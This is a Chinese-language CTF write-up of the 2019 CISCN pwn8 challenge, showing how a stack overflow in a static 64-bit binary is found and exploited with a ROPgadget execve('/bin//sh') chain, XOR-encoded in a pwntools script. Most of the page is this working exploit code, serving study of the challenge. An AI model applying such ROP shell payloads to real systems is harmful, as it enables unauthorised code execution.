2019-CISCN華南賽區半決賽 pwn8

參考博客:https://xz.aliyun.com/t/5517#toc-3

學長給了這道題目,結合了逆向+pwn

題目鏈接:鏈接:https://pan.baidu.com/s/1viEaLM-5pqmRoEzagi0Nmg   提取碼:wwzb

64位的程序,是靜態鏈接的,靜態!可以直接構造rop鏈了

 

就開啓了nx保護

 

執行的時候發現權限不夠,直接給他加權限就可以,chmod +x easy_pwn

執行

 

emm,要把文件拖入桌面然後放入ida裏面,因爲桌面是C盤,有管理員執行權限

ida裏面執行

函數很多,沒有發現main函數,查找(alt+T)一下執行時候的字符串

找到函數,進入

 

進入sub_449BE0,分析得,應該就是read函數

且讀入的字符數組接着又傳入了sub_400C40函數

 

進入sub_400C40,a1也就是我們讀入的數據

 

瞭解到了上面的點後,可以進行棧溢出操作

首先構造rop鏈ROPgadget --binary helloworld --ropchain

生成

	#!/usr/bin/env python2
	# execve generated by ROPgadget

	from struct import pack

	# Padding goes here
	p = ''

	p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
	p += pack('<Q', 0x00000000006ba0e0) # @ .data
	p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
	p += '/bin//sh'
	p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
	p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
	p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
	p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
	p += pack('<Q', 0x00000000006ba0e0) # @ .data
	p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
	p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
	p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
	p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
	p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000047b94f) # syscall

 

接着可以構造exp

	#!/usr/bin/env python2
	# execve generated by ROPgadget

        from pwn import *
        io = process('./easy_pwn')
        context.log_level = 'debug'

	from struct import pack

	# Padding goes here
	p = ''

	p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
	p += pack('<Q', 0x00000000006ba0e0) # @ .data
	p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
	p += '/bin//sh'
	p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
	p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
	p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
	p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
	p += pack('<Q', 0x00000000006ba0e0) # @ .data
	p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
	p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
	p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
	p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
	p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x000000000047b94f) # syscall

        string = ''
        for i in p:
            string += chr(ord(i)^0x66)
        
        payload = 'a'*0x50 + string

        io.recvuntil("Please enter your Password: ")
        io.sendline(payload)

        io.interactive()

chr() 用一個範圍在 range(256)內的(就是0~255)整數作參數,返回一個對應的字符

ord() 函數是 chr() 函數(對於8位的ASCII字符串)或 unichr() 函數(對於Unicode對象)的配對函數,它以一個字符(長度爲1的字符串)作爲參數,返回對應的 ASCII 數值,或者 Unicode 數值,如果所給的 Unicode 字符超出了你的 Python 定義範圍,則會引發一個 TypeError 的異常。

 

【查找返回地址覆蓋量(方法二)】

(1)創建覆蓋的字符串:

root@kali:~/Documents# cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

(2)進入gdb,run開始,將字符串放入輸入點

(3)程序崩了,查看使程序崩的值(保存在esp裏)

(4)進行異或操作

因爲原來的程序對輸入的每個字符串進行了異或操作,兩次異或操作可以得到原來的值

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章